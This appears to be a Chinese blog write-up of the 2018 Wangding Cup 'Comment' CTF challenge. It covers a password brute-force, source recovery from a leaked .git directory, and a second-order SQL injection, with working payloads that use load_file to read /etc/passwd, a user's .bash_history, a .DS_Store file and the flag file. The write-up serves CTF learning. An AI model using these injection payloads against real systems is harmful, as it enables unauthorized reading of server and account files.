[网鼎杯 2018]Comment wp思路详细

打开页面信息不多 点击发帖 

跳转到登录页面 

这里进行爆破 账号密码已经给了提示 zhangwei zhangwei***

***肯定是数字 不然排列组合过大

爆破出 密码为zhangwei666

登录就可以发帖了 但是这里正常的一些方法都不行

没思路的时候可以扫目录看看  但是这里控制台有个提示 也是后来我才发现的

这里就知道.git泄露了 

但是如果没看到提示时可以使用ctf-wscan进行扫目录  注意python版本 python3的版本

ctf-wscan github上有 大家自己搜索即可 

可以扫出.git泄露  这些脚本大家自行搜索即可 这题的源码也会放在后面

.git泄露基本都使用脚本很少手工  git恢复源码 进行代码审计

注意 使用两个脚本时的py版本

这里恢复出的代码给到大家

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

进行代码审计

重要的部分如下

这里注意转义符的概念 

我们注册一个用户名为admin’#  虽然服务端做了转义为admin\’#  但是 数据库中的用户名还是admin’#   不会是admin\’#  如果是后者 admin‘# 这个用户将永远登不成功了 所以从数据库拿出的时候还是我们输入的值 这样就构造出了下面我们需要打入的payload

我们将sql语句单独拎出分析  构造exp

既然是注入 那么精髓就是闭合

由于sql语句为换行 #注释也只能注释当前行 所以使用/**/进行换行拼接注释  category和comment为我们进行控制的点 在这两点上进行输入payload

方框中的代码就是我们需要注入的 达到闭合 

接下来开始

在发表处输入',content = database(),/*    展示数据库 再进入留言板处输入 */-- - 进行闭合 将database带出

成功出现数据库

后面就按照这样 发表处输入exp  然后进入留言板输入exp进行闭合 达到注入 # -- -都可

读取etc/passwd 查看用户信息  这里需要些脑洞 不然的确不知道该看什么信息

主要是思路的拓宽

',content=(select( load_file('/etc/passwd'))),/*   读取etc/passwd

 发现存在www用户   对其进行查看分析 查看history命令

',content=(select( load_file('/home/www/.bash_history'))),/*    查看历史命令

可以查看页面源代码查看 更清晰

分析历史命令得知 在/tmp/html下有个.DS_Store文件

',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*   读取文件

进行hex解码 得到一个文件  flag_8946e1ff1ee3e40f.php  这里解码出来有点乱 大家仔细看

使用hex编码可以避开一些问题

对其进行读取即可 所以最终payload如下

',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

layz_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值